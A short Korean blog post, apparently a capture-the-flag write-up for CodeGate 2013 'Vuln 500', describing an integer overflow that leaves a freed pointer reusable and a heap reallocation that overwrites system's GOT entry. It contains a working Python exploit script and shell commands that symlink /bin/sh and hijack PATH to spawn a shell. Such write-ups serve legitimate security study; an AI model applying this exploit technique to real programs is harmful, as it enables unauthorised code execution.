[CodeGate 2013] Vuln 500 - integer overflow, heap realloc

Posted by push0ebp
2015. 5. 12. 01:41 Hacking/Pwnable

코게 공부하면서 포너블 시작했는데 너무 재밌다ㅋ 그래서인지 많이 미숙하다ㅜㅠ


integer overflow를 통하여 노래가 삭제한 후 포인터를 밀어 free한 포인터를 채워주는 루틴을 우회함.

-> 리스트에서 free된 노래 포인터가 삭제되지않음

modify를 통하여 다시 할당하여 라이팅

-> free된 곳에 재할당하여 임의로 메모리 라이팅 가능. (system_got)

0x0804b3f0 이 system 인자로 들어감

->심볼릭 링크를 이용하여 해결


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python
import sys
import struct
from hexdump import *
 
= lambda x: struct.pack("<L", x)
up = lambda x: struct.unpack("<L", x)[0]
 
= ''
 
def delete_num(num):
    global s
    s += '4\n'
    s += '1\n'
    s += str(num)+'\n' 
 
def modify_num(num, url, title):
    global s
    s += '3\n'
    s += '1\n'
    s += str(num)+'\n'
    s += title+'\n'
    s += url+'\n'
 
system_got = 0x804B3F8  
delete_num(str(-1<<31))
modify_num(1, p(system_got-8),'')
modify_num(0,'','')
sys.stdout.write(s[:-1])
 
 
'''
0 song 
0x804c018
ln -sf /bin/sh `python -c 'print "\xf0\xb3\x04\x08"'`
export PATH="/home/a":$PATH
'''
cs



kpop_music.idb


'Hacking > Pwnable' 카테고리의 다른 글

[Defcon 2014] shitsco - use-after-free or memory leak  (0) 2015.05.15
[Defcon 2014] babyfirst - double free bug  (0) 2015.05.12